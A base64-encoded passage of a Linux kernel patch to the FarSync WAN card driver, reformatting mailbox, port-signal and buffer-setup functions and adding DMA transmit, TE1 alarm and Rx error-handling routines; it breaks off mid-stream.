IDE7CisJb3V0YigweDAzLCBjYXJkLT5wY2lfY29uZiArIERNQUNTUjApOwkvKiBTdGFydCB0aGUg dHJhbnNmZXIgKi8KK30KKworLyoKKyAqICAgICAgU2VuZCBhIGZyYW1lIHRocm91Z2ggdGhlIERN QQorICovCitzdGF0aWMgaW5saW5lIHZvaWQKK2ZzdF90eF9kbWEoc3RydWN0IGZzdF9jYXJkX2lu Zm8gKmNhcmQsIHVuc2lnbmVkIGNoYXIgKnNrYiwKKwkgICB1bnNpZ25lZCBjaGFyICptZW0sIGlu dCBsZW4pCit7CisJLyoKKwkgKiBUaGlzIHJvdXRpbmUgd2lsbCBzZXR1cCB0aGUgRE1BIGFuZCBz dGFydCBpdC4KKwkgKi8KKworCWRiZyhEQkdfVFgsICJJbiBmc3RfdHhfZG1hICVwICVwICVkXG4i LCBza2IsIG1lbSwgbGVuKTsKKwlpZiAoY2FyZC0+ZG1hdHhfaW5fcHJvZ3Jlc3MpIHsKKwkJZGJn KERCR19BU1MsICJJbiBmc3RfdHhfZG1hIHdoaWxlIGRtYSBpbiBwcm9ncmVzc1xuIik7CisJfQor CisJb3V0bCgodW5zaWduZWQgbG9uZykgc2tiLCBjYXJkLT5wY2lfY29uZiArIERNQVBBRFIxKTsJ LyogQ29weSBmcm9tIGhlcmUgKi8KKwlvdXRsKCh1bnNpZ25lZCBsb25nKSBtZW0sIGNhcmQtPnBj aV9jb25mICsgRE1BTEFEUjEpOwkvKiB0byBoZXJlICovCisJb3V0bChsZW4sIGNhcmQtPnBjaV9j b25mICsgRE1BU0laMSk7CS8qIGZvciB0aGlzIGxlbmd0aCAqLworCW91dGwoMHgwMDAwMDAwMDQs IGNhcmQtPnBjaV9jb25mICsgRE1BRFBSMSk7CS8qIEluIHRoaXMgZGlyZWN0aW9uICovCisKKwkv KgorCSAqIFdlIHVzZSB0aGUgZG1hdHhfaW5fcHJvZ3Jlc3MgdG8gZmxhZyB0aGUgY2hhbm5lbCBh cyBidXN5CisJICovCisJY2FyZC0+ZG1hdHhfaW5fcHJvZ3Jlc3MgPSAxOworCW91dGIoMHgwMywg Y2FyZC0+cGNpX2NvbmYgKyBETUFDU1IxKTsJLyogU3RhcnQgdGhlIHRyYW5zZmVyICovCit9CiAK IC8qICAgICAgSXNzdWUgYSBNYWlsYm94IGNvbW1hbmQgZm9yIGEgcG9ydC4KICAqICAgICAgTm90 ZSB3ZSBpc3N1ZSB0aGVtIG9uIGEgZmlyZSBhbmQgZm9yZ2V0IGJhc2lzLCBub3QgZXhwZWN0aW5n IHRvIHNlZSBhbgogICogICAgICBlcnJvciBhbmQgbm90IHdhaXRpbmcgZm9yIGNvbXBsZXRpb24u CiAgKi8KIHN0YXRpYyB2b2lkCi1mc3RfaXNzdWVfY21kICggc3RydWN0IGZzdF9wb3J0X2luZm8g KnBvcnQsIHVuc2lnbmVkIHNob3J0IGNtZCApCitmc3RfaXNzdWVfY21kKHN0cnVjdCBmc3RfcG9y dF9pbmZvICpwb3J0LCB1bnNpZ25lZCBzaG9ydCBjbWQpCiB7Ci0gICAgICAgIHN0cnVjdCBmc3Rf Y2FyZF9pbmZvICpjYXJkOwotICAgICAgICB1bnNpZ25lZCBzaG9ydCBtYnZhbDsKLSAgICAgICAg dW5zaWduZWQgbG9uZyBmbGFnczsKLSAgICAgICAgaW50IHNhZmV0eTsKLQotICAgICAgICBjYXJk ID0gcG9ydC0+Y2FyZDsKLSAgICAgICAgc3Bpbl9sb2NrX2lycXNhdmUgKCAmY2FyZC0+Y2FyZF9s b2NrLCBmbGFncyApOwotICAgICAgICBtYnZhbCA9IEZTVF9SRFcgKCBjYXJkLCBwb3J0TWFpbGJv eFtwb3J0LT5pbmRleF1bMF0pOwotCi0gICAgICAgIHNhZmV0eSA9IDA7Ci0gICAgICAgIC8qIFdh aXQgZm9yIGFueSBwcmV2aW91cyBjb21tYW5kIHRvIGNvbXBsZXRlICovCi0gICAgICAgIHdoaWxl ICggbWJ2YWwgPiBOQUsgKQotICAgICAgICB7Ci0gICAgICAgICAgICAgICAgc3Bpbl91bmxvY2tf aXJxcmVzdG9yZSAoICZjYXJkLT5jYXJkX2xvY2ssIGZsYWdzICk7Ci0gICAgICAgICAgICAgICAg c2NoZWR1bGVfdGltZW91dCAoIDEgKTsKLSAgICAgICAgICAgICAgICBzcGluX2xvY2tfaXJxc2F2 ZSAoICZjYXJkLT5jYXJkX2xvY2ssIGZsYWdzICk7Ci0KLSAgICAgICAgICAgICAgICBpZiAoICsr c2FmZXR5ID4gMTAwMCApCi0gICAgICAgICAgICAgICAgewotICAgICAgICAgICAgICAgICAgICAg ICAgcHJpbnRrX2VyciAoIk1haWxib3ggc2FmZXR5IHRpbWVvdXRcbiIpOwotICAgICAgICAgICAg ICAgICAgICAgICAgYnJlYWs7Ci0gICAgICAgICAgICAgICAgfQorCXN0cnVjdCBmc3RfY2FyZF9p bmZvICpjYXJkOworCXVuc2lnbmVkIHNob3J0IG1idmFsOworCXVuc2lnbmVkIGxvbmcgZmxhZ3M7 CisJaW50IHNhZmV0eTsKKworCWNhcmQgPSBwb3J0LT5jYXJkOworCXNwaW5fbG9ja19pcnFzYXZl KCZjYXJkLT5jYXJkX2xvY2ssIGZsYWdzKTsKKwltYnZhbCA9IEZTVF9SRFcoY2FyZCwgcG9ydE1h aWxib3hbcG9ydC0+aW5kZXhdWzBdKTsKKworCXNhZmV0eSA9IDA7CisJLyogV2FpdCBmb3IgYW55 IHByZXZpb3VzIGNvbW1hbmQgdG8gY29tcGxldGUgKi8KKwl3aGlsZSAobWJ2YWwgPiBOQUspIHsK KwkJc3Bpbl91bmxvY2tfaXJxcmVzdG9yZSgmY2FyZC0+Y2FyZF9sb2NrLCBmbGFncyk7CisJCXNj aGVkdWxlX3RpbWVvdXQoMSk7CisJCXNwaW5fbG9ja19pcnFzYXZlKCZjYXJkLT5jYXJkX2xvY2ss IGZsYWdzKTsKKworCQlpZiAoKytzYWZldHkgPiAyMDAwKSB7CisJCQlwcmludGtfZXJyKCJNYWls Ym94IHNhZmV0eSB0aW1lb3V0XG4iKTsKKwkJCWJyZWFrOworCQl9CisKKwkJbWJ2YWwgPSBGU1Rf UkRXKGNhcmQsIHBvcnRNYWlsYm94W3BvcnQtPmluZGV4XVswXSk7CisJfQorCWlmIChzYWZldHkg PiAwKSB7CisJCWRiZyhEQkdfQ01ELCAiTWFpbGJveCBjbGVhciBhZnRlciAlZCBqaWZmaWVzXG4i LCBzYWZldHkpOworCX0KKwlpZiAobWJ2YWwgPT0gTkFLKSB7CisJCWRiZyhEQkdfQ01ELCAiaXNz dWVfY21kOiBwcmV2aW91cyBjb21tYW5kIHdhcyBOQUsnZFxuIik7CisJfQogCi0gICAgICAgICAg ICAgICAgbWJ2YWwgPSBGU1RfUkRXICggY2FyZCwgcG9ydE1haWxib3hbcG9ydC0+aW5kZXhdWzBd KTsKLSAgICAgICAgfQotICAgICAgICBpZiAoIHNhZmV0eSA+IDAgKQotICAgICAgICB7Ci0gICAg ICAgICAgICAgICAgZGJnICggREJHX0NNRCwiTWFpbGJveCBjbGVhciBhZnRlciAlZCBqaWZmaWVz XG4iLCBzYWZldHkgKTsKLSAgICAgICAgfQotICAgICAgICBpZiAoIG1idmFsID09IE5BSyApCi0g ICAgICAgIHsKLSAgICAgICAgICAgICAgICBkYmcgKCBEQkdfQ01ELCJpc3N1ZV9jbWQ6IHByZXZp b3VzIGNvbW1hbmQgd2FzIE5BSydkXG4iKTsKLSAgICAgICAgfQotCi0gICAgICAgIEZTVF9XUlcg KCBjYXJkLCBwb3J0TWFpbGJveFtwb3J0LT5pbmRleF1bMF0sIGNtZCApOwotCi0gICAgICAgIGlm ICggY21kID09IEFCT1JUVFggfHwgY21kID09IFNUQVJUUE9SVCApCi0gICAgICAgIHsKLSAgICAg ICAgICAgICAgICBwb3J0LT50eHBvcyAgPSAwOwotICAgICAgICAgICAgICAgIHBvcnQtPnR4aXBv cyA9IDA7Ci0gICAgICAgICAgICAgICAgcG9ydC0+dHhjbnQgID0gMDsKLSAgICAgICAgfQorCUZT VF9XUlcoY2FyZCwgcG9ydE1haWxib3hbcG9ydC0+aW5kZXhdWzBdLCBjbWQpOwogCi0gICAgICAg IHNwaW5fdW5sb2NrX2lycXJlc3RvcmUgKCAmY2FyZC0+Y2FyZF9sb2NrLCBmbGFncyApOwotfQor CWlmIChjbWQgPT0gQUJPUlRUWCB8fCBjbWQgPT0gU1RBUlRQT1JUKSB7CisJCXBvcnQtPnR4cG9z ID0gMDsKKwkJcG9ydC0+dHhpcG9zID0gMDsKKwkJcG9ydC0+c3RhcnQgPSAwOworCX0KIAorCXNw aW5fdW5sb2NrX2lycXJlc3RvcmUoJmNhcmQtPmNhcmRfbG9jaywgZmxhZ3MpOworfQogCiAvKiAg ICAgIFBvcnQgb3V0cHV0IHNpZ25hbHMgY29udHJvbAogICovCiBzdGF0aWMgaW5saW5lIHZvaWQK LWZzdF9vcF9yYWlzZSAoIHN0cnVjdCBmc3RfcG9ydF9pbmZvICpwb3J0LCB1bnNpZ25lZCBpbnQg b3V0cHV0cyApCitmc3Rfb3BfcmFpc2Uoc3RydWN0IGZzdF9wb3J0X2luZm8gKnBvcnQsIHVuc2ln bmVkIGludCBvdXRwdXRzKQogewotICAgICAgICBvdXRwdXRzIHw9IEZTVF9SREwgKCBwb3J0LT5j YXJkLCB2MjRPcFN0c1twb3J0LT5pbmRleF0pOwotICAgICAgICBGU1RfV1JMICggcG9ydC0+Y2Fy ZCwgdjI0T3BTdHNbcG9ydC0+aW5kZXhdLCBvdXRwdXRzICk7CisJb3V0cHV0cyB8PSBGU1RfUkRM KHBvcnQtPmNhcmQsIHYyNE9wU3RzW3BvcnQtPmluZGV4XSk7CisJRlNUX1dSTChwb3J0LT5jYXJk LCB2MjRPcFN0c1twb3J0LT5pbmRleF0sIG91dHB1dHMpOwogCi0gICAgICAgIGlmICggcG9ydC0+ cnVuICkKLSAgICAgICAgICAgICAgICBmc3RfaXNzdWVfY21kICggcG9ydCwgU0VUVjI0TyApOwor CWlmIChwb3J0LT5ydW4pCisJCWZzdF9pc3N1ZV9jbWQocG9ydCwgU0VUVjI0Tyk7CiB9CiAKIHN0 YXRpYyBpbmxpbmUgdm9pZAotZnN0X29wX2xvd2VyICggc3RydWN0IGZzdF9wb3J0X2luZm8gKnBv cnQsIHVuc2lnbmVkIGludCBvdXRwdXRzICkKK2ZzdF9vcF9sb3dlcihzdHJ1Y3QgZnN0X3BvcnRf aW5mbyAqcG9ydCwgdW5zaWduZWQgaW50IG91dHB1dHMpCiB7Ci0gICAgICAgIG91dHB1dHMgPSB+ b3V0cHV0cyAmIEZTVF9SREwgKCBwb3J0LT5jYXJkLCB2MjRPcFN0c1twb3J0LT5pbmRleF0pOwot ICAgICAgICBGU1RfV1JMICggcG9ydC0+Y2FyZCwgdjI0T3BTdHNbcG9ydC0+aW5kZXhdLCBvdXRw dXRzICk7CisJb3V0cHV0cyA9IH5vdXRwdXRzICYgRlNUX1JETChwb3J0LT5jYXJkLCB2MjRPcFN0 c1twb3J0LT5pbmRleF0pOworCUZTVF9XUkwocG9ydC0+Y2FyZCwgdjI0T3BTdHNbcG9ydC0+aW5k ZXhdLCBvdXRwdXRzKTsKIAotICAgICAgICBpZiAoIHBvcnQtPnJ1biApCi0gICAgICAgICAgICAg ICAgZnN0X2lzc3VlX2NtZCAoIHBvcnQsIFNFVFYyNE8gKTsKKwlpZiAocG9ydC0+cnVuKQorCQlm c3RfaXNzdWVfY21kKHBvcnQsIFNFVFYyNE8pOwogfQogCi0KIC8qCiAgKiAgICAgIFNldHVwIHBv cnQgUnggYnVmZmVycwogICovCiBzdGF0aWMgdm9pZAotZnN0X3J4X2NvbmZpZyAoIHN0cnVjdCBm c3RfcG9ydF9pbmZvICpwb3J0ICkKK2ZzdF9yeF9jb25maWcoc3RydWN0IGZzdF9wb3J0X2luZm8g KnBvcnQpCiB7Ci0gICAgICAgIGludCBpOwotICAgICAgICBpbnQgcGk7Ci0gICAgICAgIHVuc2ln bmVkIGludCBvZmZzZXQ7Ci0gICAgICAgIHVuc2lnbmVkIGxvbmcgZmxhZ3M7Ci0gICAgICAgIHN0 cnVjdCBmc3RfY2FyZF9pbmZvICpjYXJkOwotCi0gICAgICAgIHBpICAgPSBwb3J0LT5pbmRleDsK LSAgICAgICAgY2FyZCA9IHBvcnQtPmNhcmQ7Ci0gICAgICAgIHNwaW5fbG9ja19pcnFzYXZlICgg JmNhcmQtPmNhcmRfbG9jaywgZmxhZ3MgKTsKLSAgICAgICAgZm9yICggaSA9IDAgOyBpIDwgTlVN X1JYX0JVRkZFUiA7IGkrKyApCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBvZmZzZXQgPSBC VUZfT0ZGU0VUICggcnhCdWZmZXJbcGldW2ldWzBdKTsKLQotICAgICAgICAgICAgICAgIEZTVF9X UlcgKCBjYXJkLCByeERlc2NyUmluZ1twaV1baV0ubGFkciwgKHUxNikgb2Zmc2V0ICk7Ci0gICAg ICAgICAgICAgICAgRlNUX1dSQiAoIGNhcmQsIHJ4RGVzY3JSaW5nW3BpXVtpXS5oYWRyLCAodTgp KCBvZmZzZXQgPj4gMTYgKSk7Ci0gICAgICAgICAgICAgICAgRlNUX1dSVyAoIGNhcmQsIHJ4RGVz Y3JSaW5nW3BpXVtpXS5iY250LAotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIGNudl9iY250ICggTEVOX1JYX0JVRkZFUiApKTsKLSAgICAgICAgICAgICAgICBGU1RfV1JX ICggY2FyZCwgcnhEZXNjclJpbmdbcGldW2ldLm1jbnQsIDAgKTsKLSAgICAgICAgICAgICAgICBG U1RfV1JCICggY2FyZCwgcnhEZXNjclJpbmdbcGldW2ldLmJpdHMsIERNQV9PV04gKTsKLSAgICAg ICAgfQotICAgICAgICBwb3J0LT5yeHBvcyAgPSAwOwotICAgICAgICBzcGluX3VubG9ja19pcnFy ZXN0b3JlICggJmNhcmQtPmNhcmRfbG9jaywgZmxhZ3MgKTsKKwlpbnQgaTsKKwlpbnQgcGk7CisJ dW5zaWduZWQgaW50IG9mZnNldDsKKwl1bnNpZ25lZCBsb25nIGZsYWdzOworCXN0cnVjdCBmc3Rf Y2FyZF9pbmZvICpjYXJkOworCisJcGkgPSBwb3J0LT5pbmRleDsKKwljYXJkID0gcG9ydC0+Y2Fy ZDsKKwlzcGluX2xvY2tfaXJxc2F2ZSgmY2FyZC0+Y2FyZF9sb2NrLCBmbGFncyk7CisJZm9yIChp ID0gMDsgaSA8IE5VTV9SWF9CVUZGRVI7IGkrKykgeworCQlvZmZzZXQgPSBCVUZfT0ZGU0VUKHJ4 QnVmZmVyW3BpXVtpXVswXSk7CisKKwkJRlNUX1dSVyhjYXJkLCByeERlc2NyUmluZ1twaV1baV0u bGFkciwgKHUxNikgb2Zmc2V0KTsKKwkJRlNUX1dSQihjYXJkLCByeERlc2NyUmluZ1twaV1baV0u aGFkciwgKHU4KSAob2Zmc2V0ID4+IDE2KSk7CisJCUZTVF9XUlcoY2FyZCwgcnhEZXNjclJpbmdb cGldW2ldLmJjbnQsIGNudl9iY250KExFTl9SWF9CVUZGRVIpKTsKKwkJRlNUX1dSVyhjYXJkLCBy eERlc2NyUmluZ1twaV1baV0ubWNudCwgTEVOX1JYX0JVRkZFUik7CisJCUZTVF9XUkIoY2FyZCwg cnhEZXNjclJpbmdbcGldW2ldLmJpdHMsIERNQV9PV04pOworCX0KKwlwb3J0LT5yeHBvcyA9IDA7 CisJc3Bpbl91bmxvY2tfaXJxcmVzdG9yZSgmY2FyZC0+Y2FyZF9sb2NrLCBmbGFncyk7CiB9CiAK LQogLyoKICAqICAgICAgU2V0dXAgcG9ydCBUeCBidWZmZXJzCiAgKi8KIHN0YXRpYyB2b2lkCi1m c3RfdHhfY29uZmlnICggc3RydWN0IGZzdF9wb3J0X2luZm8gKnBvcnQgKQorZnN0X3R4X2NvbmZp ZyhzdHJ1Y3QgZnN0X3BvcnRfaW5mbyAqcG9ydCkKIHsKLSAgICAgICAgaW50IGk7Ci0gICAgICAg IGludCBwaTsKLSAgICAgICAgdW5zaWduZWQgaW50IG9mZnNldDsKLSAgICAgICAgdW5zaWduZWQg bG9uZyBmbGFnczsKLSAgICAgICAgc3RydWN0IGZzdF9jYXJkX2luZm8gKmNhcmQ7Ci0KLSAgICAg ICAgcGkgICA9IHBvcnQtPmluZGV4OwotICAgICAgICBjYXJkID0gcG9ydC0+Y2FyZDsKLSAgICAg ICAgc3Bpbl9sb2NrX2lycXNhdmUgKCAmY2FyZC0+Y2FyZF9sb2NrLCBmbGFncyApOwotICAgICAg ICBmb3IgKCBpID0gMCA7IGkgPCBOVU1fVFhfQlVGRkVSIDsgaSsrICkKLSAgICAgICAgewotICAg ICAgICAgICAgICAgIG9mZnNldCA9IEJVRl9PRkZTRVQgKCB0eEJ1ZmZlcltwaV1baV1bMF0pOwot Ci0gICAgICAgICAgICAgICAgRlNUX1dSVyAoIGNhcmQsIHR4RGVzY3JSaW5nW3BpXVtpXS5sYWRy LCAodTE2KSBvZmZzZXQgKTsKLSAgICAgICAgICAgICAgICBGU1RfV1JCICggY2FyZCwgdHhEZXNj clJpbmdbcGldW2ldLmhhZHIsICh1OCkoIG9mZnNldCA+PiAxNiApKTsKLSAgICAgICAgICAgICAg ICBGU1RfV1JXICggY2FyZCwgdHhEZXNjclJpbmdbcGldW2ldLmJjbnQsIDAgKTsKLSAgICAgICAg ICAgICAgICBGU1RfV1JCICggY2FyZCwgdHhEZXNjclJpbmdbcGldW2ldLmJpdHMsIDAgKTsKLSAg ICAgICAgfQotICAgICAgICBwb3J0LT50eHBvcyAgPSAwOwotICAgICAgICBwb3J0LT50eGlwb3Mg PSAwOwotICAgICAgICBwb3J0LT50eGNudCAgPSAwOwotICAgICAgICBzcGluX3VubG9ja19pcnFy ZXN0b3JlICggJmNhcmQtPmNhcmRfbG9jaywgZmxhZ3MgKTsKKwlpbnQgaTsKKwlpbnQgcGk7CisJ dW5zaWduZWQgaW50IG9mZnNldDsKKwl1bnNpZ25lZCBsb25nIGZsYWdzOworCXN0cnVjdCBmc3Rf Y2FyZF9pbmZvICpjYXJkOworCisJcGkgPSBwb3J0LT5pbmRleDsKKwljYXJkID0gcG9ydC0+Y2Fy ZDsKKwlzcGluX2xvY2tfaXJxc2F2ZSgmY2FyZC0+Y2FyZF9sb2NrLCBmbGFncyk7CisJZm9yIChp ID0gMDsgaSA8IE5VTV9UWF9CVUZGRVI7IGkrKykgeworCQlvZmZzZXQgPSBCVUZfT0ZGU0VUKHR4 QnVmZmVyW3BpXVtpXVswXSk7CisKKwkJRlNUX1dSVyhjYXJkLCB0eERlc2NyUmluZ1twaV1baV0u bGFkciwgKHUxNikgb2Zmc2V0KTsKKwkJRlNUX1dSQihjYXJkLCB0eERlc2NyUmluZ1twaV1baV0u aGFkciwgKHU4KSAob2Zmc2V0ID4+IDE2KSk7CisJCUZTVF9XUlcoY2FyZCwgdHhEZXNjclJpbmdb cGldW2ldLmJjbnQsIDApOworCQlGU1RfV1JCKGNhcmQsIHR4RGVzY3JSaW5nW3BpXVtpXS5iaXRz LCAwKTsKKwl9CisJcG9ydC0+dHhwb3MgPSAwOworCXBvcnQtPnR4aXBvcyA9IDA7CisJcG9ydC0+ c3RhcnQgPSAwOworCXNwaW5fdW5sb2NrX2lycXJlc3RvcmUoJmNhcmQtPmNhcmRfbG9jaywgZmxh Z3MpOwogfQogCisvKiAgICAgIFRFMSBBbGFybSBjaGFuZ2UgaW50ZXJydXB0IGV2ZW50CisgKi8K K3N0YXRpYyB2b2lkCitmc3RfaW50cl90ZTFfYWxhcm0oc3RydWN0IGZzdF9jYXJkX2luZm8gKmNh cmQsIHN0cnVjdCBmc3RfcG9ydF9pbmZvICpwb3J0KQoreworCXU4IGxvczsKKwl1OCBycmE7CisJ dTggYWlzOworCisJbG9zID0gRlNUX1JEQihjYXJkLCBzdVN0YXR1cy5sb3NzT2ZTaWduYWwpOwor CXJyYSA9IEZTVF9SREIoY2FyZCwgc3VTdGF0dXMucmVjZWl2ZVJlbW90ZUFsYXJtKTsKKwlhaXMg PSBGU1RfUkRCKGNhcmQsIHN1U3RhdHVzLmFsYXJtSW5kaWNhdGlvblNpZ25hbCk7CisKKwlpZiAo bG9zKSB7CisJCS8qCisJCSAqIExvc3QgdGhlIGxpbmsKKwkJICovCisJCWlmIChuZXRpZl9jYXJy aWVyX29rKHBvcnRfdG9fZGV2KHBvcnQpKSkgeworCQkJZGJnKERCR19JTlRSLCAiTmV0IGNhcnJp ZXIgb2ZmXG4iKTsKKwkJCW5ldGlmX2NhcnJpZXJfb2ZmKHBvcnRfdG9fZGV2KHBvcnQpKTsKKwkJ fQorCX0gZWxzZSB7CisJCS8qCisJCSAqIExpbmsgYXZhaWxhYmxlCisJCSAqLworCQlpZiAoIW5l dGlmX2NhcnJpZXJfb2socG9ydF90b19kZXYocG9ydCkpKSB7CisJCQlkYmcoREJHX0lOVFIsICJO ZXQgY2FycmllciBvblxuIik7CisJCQluZXRpZl9jYXJyaWVyX29uKHBvcnRfdG9fZGV2KHBvcnQp KTsKKwkJfQorCX0KKworCWlmIChsb3MpCisJCWRiZyhEQkdfSU5UUiwgIkFzc2VydCBMT1MgQWxh cm1cbiIpOworCWVsc2UKKwkJZGJnKERCR19JTlRSLCAiRGUtYXNzZXJ0IExPUyBBbGFybVxuIik7 CisJaWYgKHJyYSkKKwkJZGJnKERCR19JTlRSLCAiQXNzZXJ0IFJSQSBBbGFybVxuIik7CisJZWxz ZQorCQlkYmcoREJHX0lOVFIsICJEZS1hc3NlcnQgUlJBIEFsYXJtXG4iKTsKKworCWlmIChhaXMp CisJCWRiZyhEQkdfSU5UUiwgIkFzc2VydCBBSVMgQWxhcm1cbiIpOworCWVsc2UKKwkJZGJnKERC R19JTlRSLCAiRGUtYXNzZXJ0IEFJUyBBbGFybVxuIik7Cit9CiAKIC8qICAgICAgQ29udHJvbCBz aWduYWwgY2hhbmdlIGludGVycnVwdCBldmVudAogICovCi1zdGF0aWMgaXJxcmV0dXJuX3QKLWZz dF9pbnRyX2N0bGNoZyAoIHN0cnVjdCBmc3RfY2FyZF9pbmZvICpjYXJkLCBzdHJ1Y3QgZnN0X3Bv cnRfaW5mbyAqcG9ydCApCitzdGF0aWMgdm9pZAorZnN0X2ludHJfY3RsY2hnKHN0cnVjdCBmc3Rf Y2FyZF9pbmZvICpjYXJkLCBzdHJ1Y3QgZnN0X3BvcnRfaW5mbyAqcG9ydCkKIHsKLSAgICAgICAg aW50IHNpZ25hbHM7CisJaW50IHNpZ25hbHM7CiAKLSAgICAgICAgc2lnbmFscyA9IEZTVF9SREwg KCBjYXJkLCB2MjREZWJvdW5jZWRTdHNbcG9ydC0+aW5kZXhdKTsKKwlzaWduYWxzID0gRlNUX1JE TChjYXJkLCB2MjREZWJvdW5jZWRTdHNbcG9ydC0+aW5kZXhdKTsKIAotICAgICAgICBpZiAoIHNp Z25hbHMgJiAoKCBwb3J0LT5od2lmID09IFgyMSApID8gSVBTVFNfSU5ESUNBVEUgOiBJUFNUU19E Q0QgKSkKLSAgICAgICAgewotICAgICAgICAgICAgICAgIGlmICggISBuZXRpZl9jYXJyaWVyX29r ICggcG9ydF90b19kZXYgKCBwb3J0ICkpKQotICAgICAgICAgICAgICAgIHsKLSAgICAgICAgICAg ICAgICAgICAgICAgIGRiZyAoIERCR19JTlRSLCJEQ0QgYWN0aXZlXG4iKTsKLSAgICAgICAgICAg ICAgICAgICAgICAgIG5ldGlmX2NhcnJpZXJfb24gKCBwb3J0X3RvX2RldiAoIHBvcnQgKSk7Ci0g ICAgICAgICAgICAgICAgfQotICAgICAgICB9Ci0gICAgICAgIGVsc2UKLSAgICAgICAgewotICAg ICAgICAgICAgICAgIGlmICggbmV0aWZfY2Fycmllcl9vayAoIHBvcnRfdG9fZGV2ICggcG9ydCAp KSkKLSAgICAgICAgICAgICAgICB7Ci0gICAgICAgICAgICAgICAgICAgICAgICBkYmcgKCBEQkdf SU5UUiwiRENEIGxvc3RcbiIpOwotICAgICAgICAgICAgICAgICAgICAgICAgbmV0aWZfY2Fycmll cl9vZmYgKCBwb3J0X3RvX2RldiAoIHBvcnQgKSk7Ci0gICAgICAgICAgICAgICAgfQotICAgICAg ICB9Ci0JcmV0dXJuIElSUV9IQU5ETEVEOworCWlmIChzaWduYWxzICYgKCgocG9ydC0+aHdpZiA9 PSBYMjEpIHx8IChwb3J0LT5od2lmID09IFgyMUQpKQorCQkgICAgICAgPyBJUFNUU19JTkRJQ0FU RSA6IElQU1RTX0RDRCkpIHsKKwkJaWYgKCFuZXRpZl9jYXJyaWVyX29rKHBvcnRfdG9fZGV2KHBv cnQpKSkgeworCQkJZGJnKERCR19JTlRSLCAiRENEIGFjdGl2ZVxuIik7CisJCQluZXRpZl9jYXJy aWVyX29uKHBvcnRfdG9fZGV2KHBvcnQpKTsKKwkJfQorCX0gZWxzZSB7CisJCWlmIChuZXRpZl9j YXJyaWVyX29rKHBvcnRfdG9fZGV2KHBvcnQpKSkgeworCQkJZGJnKERCR19JTlRSLCAiRENEIGxv c3RcbiIpOworCQkJbmV0aWZfY2Fycmllcl9vZmYocG9ydF90b19kZXYocG9ydCkpOworCQl9CisJ fQorfQorCisvKiAgICAgIExvZyBSeCBFcnJvcnMKKyAqLworc3RhdGljIHZvaWQKK2ZzdF9sb2df cnhfZXJyb3Ioc3RydWN0IGZzdF9jYXJkX2luZm8gKmNhcmQsIHN0cnVjdCBmc3RfcG9ydF9pbmZv ICpwb3J0LAorCQkgdW5zaWduZWQgY2hhciBkbWFiaXRzLCBpbnQgcnhwLCB1bnNpZ25lZCBzaG9y dCBsZW4pCit7CisJc3RydWN0IG5ldF9kZXZpY2UgKmRldiA9IHBvcnRfdG9fZGV2KHBvcnQpOwor CXN0cnVjdCBuZXRfZGV2aWNlX3N0YXRzICpzdGF0cyA9IGhkbGNfc3RhdHMoZGV2KTsKKworCS8q IAorCSAqIEluY3JlbWVudCB0aGUgYXBwcm9wcmlhdGUgZXJyb3IgY291bnRlcgorCSAqLworCXN0 YXRzLT5yeF9lcnJvcnMrKzsKKwlpZiAoZG1hYml0cyAmIFJYX09GTE8pIHsKKwkJc3RhdHMtPnJ4 X2ZpZm9fZXJyb3JzKys7CisJCWRiZyhEQkdfQVNTLCAiUnggZmlmbyBlcnJvciBvbiBjYXJkICVk IHBvcnQgJWQgYnVmZmVyICVkXG4iLAorCQkgICAgY2FyZC0+Y2FyZF9ubywgcG9ydC0+aW5kZXgs IHJ4cCk7CisJfQorCWlmIChkbWFiaXRzICYgUlhfQ1JDKSB7CisJCXN0YXRzLT5yeF9jcmNfZXJy b3JzKys7CisJCWRiZyhEQkdfQVNTLCAiUnggY3JjIGVycm9yIG9uIGNhcmQgJWQgcG9ydCAlZFxu IiwKKwkJICAgIGNhcmQtPmNhcmRfbm8sIHBvcnQtPmluZGV4KTsKKwl9CisJaWYgKGRtYWJpdHMg JiBSWF9GUkFNKSB7CisJCXN0YXRzLT5yeF9mcmFtZV9lcnJvcnMrKzsKKwkJZGJnKERCR19BU1Ms ICJSeCBmcmFtZSBlcnJvciBvbiBjYXJkICVkIHBvcnQgJWRcbiIsCisJCSAgICBjYXJkLT5jYXJk X25vLCBwb3J0LT5pbmRleCk7CisJfQorCWlmIChkbWFiaXRzID09IChSWF9TVFAgfCBSWF9FTlAp KSB7CisJCXN0YXRzLT5yeF9sZW5ndGhfZXJyb3JzKys7CisJCWRiZyhEQkdfQVNTLCAiUnggbGVu Z3RoIGVycm9yICglZCkgb24gY2FyZCAlZCBwb3J0ICVkXG4iLAorCQkgICAgbGVuLCBjYXJkLT5j YXJkX25vLCBwb3J0LT5pbmRleCk7CisJfQogfQogCisvKiAgICAgIFJ4IEVycm9yIFJlY292ZXJ5 CisgKi8KK3N0YXRpYyB2b2lkCitmc3RfcmVjb3Zlcl9yeF9lcnJvcihzdHJ1Y3QgZnN0X2NhcmRf aW5mbyAqY2FyZCwgc3RydWN0IGZzdF9wb3J0X2luZm8gKnBvcnQsCisJCSAgICAgdW5zaWduZWQg Y2hhciBkbWFiaXRzLCBpbnQgcnhwLCB1bnNpZ25lZCBzaG9ydCBsZW4pCit7CisJaW50IGk7CisJ aW50IHBpOworCisJcGkgPSBwb3J0LT5pbmRleDsKKwkvKiAKKwkgKiBEaXNjYXJkIGJ1ZmZlciBk ZXNjcmlwdG9ycyB1bnRpbCB3ZSBzZWUgdGhlIHN0YXJ0IG9mIHRoZQorCSAqIG5leHQgZnJhbWUu ICBOb3RlIHRoYXQgZm9yIGxvbmcgZnJhbWVzIHRoaXMgY291bGQgYmUgaW4KKwkgKiBhIHN1YnNl cXVlbnQgaW50ZXJydXB0LiAKKwkgKi8KKwlpID0gMDsKKwl3aGlsZSAoKGRtYWJpdHMgJiAoRE1B X09XTiB8IFJYX1NUUCkpID09IDApIHsKKwkJRlNUX1dSQihjYXJkLCByeERlc2NyUmluZ1twaV1b cnhwXS5iaXRzLCBETUFfT1dOKTsKKwkJcnhwID0gKHJ4cCsxKSAlIE5VTV9SWF9CVUZGRVI7CisJ CWlmICgrK2kgPiBOVU1fUlhfQlVGRkVSKSB7CisJCQlkYmcoREJHX0FTUywgImludHJfcng6IERp c2NhcmRpbmcgbW9yZSBidWZzIgorCQkJICAgICIgdGhhbiB3ZSBoYXZlXG4iKTsKKwkJCWJyZWFr OworCQl9CisJCWRtYWJpdHMgPSBGU1RfUkRCKGNhcmQsIHJ4RGVzY3JSaW5nW3BpXVtyeHBdLmJp 